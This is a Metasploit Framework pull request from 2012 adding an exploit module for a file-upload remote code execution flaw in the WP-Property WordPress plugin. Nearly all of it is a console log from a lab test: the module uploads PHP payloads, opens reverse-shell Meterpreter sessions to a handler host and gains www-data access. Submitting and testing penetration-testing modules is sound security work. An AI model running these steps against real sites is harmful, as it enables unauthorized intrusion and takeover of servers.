rapid7/metasploit-framework — pull request #1206 by jvazquez-r7 (2012-12-24 18:03:02+00:00)
Title: Added module for wp-property file upload exec

Module submitted by James Fitts via mail. Doing the pull request for him. I've tried module cleanup and sent pull request link to james so he can get feedback.

Tested on Ubuntu 10.04 and WP-Property <= 1.35.0 (Wordpress 3.5)

msf > use exploit/unix/webapp/wp_property_upload_exec
msf exploit(wp_property_upload_exec) > set rhost 192.168.1.138
rhost => 192.168.1.138
msf exploit(wp_property_upload_exec) > show options

Module options (exploit/unix/webapp/wp_property_upload_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 192.168.1.138 yes The target address
RPORT 80 yes The target port
TARGETURI /wordpress yes The full URI path to WordPress
VHOST no HTTP server virtual host

Exploit target:

Id Name
-- ----
0 Generic (PHP Payload)

msf exploit(wp_property_upload_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444
[*] 192.168.1.138:80 - Uploading payload CnHub.php
[*] 192.168.1.138:80 - Executing payload CnHub.php
[*] Sending stage (39217 bytes) to 192.168.1.138
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.138:40593) at 2012-12-24 18:55:50 +0100
^C[-] Exploit failed: Interrupt

meterpreter > id
[-] Unknown command: id.
meterpreter > getuid
Server username: www-data (33)
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.138 - Meterpreter session 1 closed. Reason: User exit
msf exploit(wp_property_upload_exec) > set target 1
target => 1
msf exploit(wp_property_upload_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(wp_property_upload_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444
[*] 192.168.1.138:80 - Uploading payload iEuhX.php
[*] 192.168.1.138:80 - Executing payload iEuhX.php
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.1.138
[*] Meterpreter session 2 opened (192.168.1.128:4444 -> 192.168.1.138:40594) at 2012-12-24 18:56:13 +0100

meterpreter > getuid
Server username: uid=33, gid=33, euid=33, egid=33, suid=33, sgid=33
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.138 - Meterpreter session 2 closed. Reason: User exit
msf exploit(wp_property_upload_exec) > exit